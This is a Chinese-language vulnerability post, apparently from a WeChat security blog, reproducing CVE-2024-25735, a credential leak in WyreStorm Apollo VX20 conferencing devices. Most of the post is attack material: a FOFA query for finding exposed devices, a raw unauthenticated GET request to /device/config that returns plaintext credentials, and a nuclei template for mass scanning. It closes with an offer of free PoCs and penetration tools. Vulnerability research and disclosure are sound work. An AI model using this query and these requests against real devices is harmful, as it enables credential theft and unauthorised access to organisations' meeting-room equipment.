CVE-2024-25735漏洞复现（附POC）

发布于 作者:

CVE-2024-25735漏洞复现（附POC）

原创 fgz AI与网安 2024-03-06 07:01

免
责
申
明
：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

01

—

漏洞名称

WyreStorm Apollo VX20 信息泄露漏洞

02

—

漏洞影响

WyreStorm Apollo VX20 < 1.3.58

CVE-2024-25735漏洞复现（附POC） -1

03

—

漏洞描述

WyreStorm Apollo VX20是一款优质的音视频会议一体机，专为企业办公室和会议室空间设计。这款设备集成了摄像头、麦克风、扬声器及投屏功能，为企业办公和视频会议提供优质的视听体验。该系统存在信息泄露漏洞，未经授权的远程攻击者可以获取明文凭据。

04

—

FOFA搜索语句 

icon_hash="-893957814"

CVE-2024-25735漏洞复现（附POC） -2

05

—

漏洞复现

该漏洞是get请求，可以直接使用浏览器访问

CVE-2024-25735漏洞复现（附POC） -3

完整POC数据包如下 

GET /device/config HTTP/1.1
Host: 192.168.40.130:115
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

漏洞复现成功

06

—

nuclei poc

poc文件内容如下 

id: CVE-2024-25735

info:
  name: WyreStorm Apollo VX20 信息泄露漏洞
  author: fgz
  severity: high
  description: |
    WyreStorm Apollo VX20是一款优质的音视频会议一体机，专为企业办公室和会议室空间设计。这款设备集成了摄像头、麦克风、扬声器及投屏功能，为企业办公和视频会议提供优质的视听体验。该系统存在信息泄露漏洞，未经授权的远程攻击者可以获取明文凭据。
  metadata:
    verified: true
    max-request: 1
    vendor: WyreStorm
    product: WyreStorm Apollo VX20
    fofa-query: icon_hash="-893957814"
  tags: cve,cve2024,aiohttp

http:
  - method: GET
    path:
      - "{{BaseURL}}/device/config"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains(body,'password') && contains(body,'softAp')"

07

—

修复建议

升级到最新版本。

08

—

新粉丝福利领取

在公众号主页或者文章末尾点击发送消息免费领取。

发送【
电子书】关键字获取电子书

发送【
POC】关键字获取POC

发送【
工具】获取渗透工具包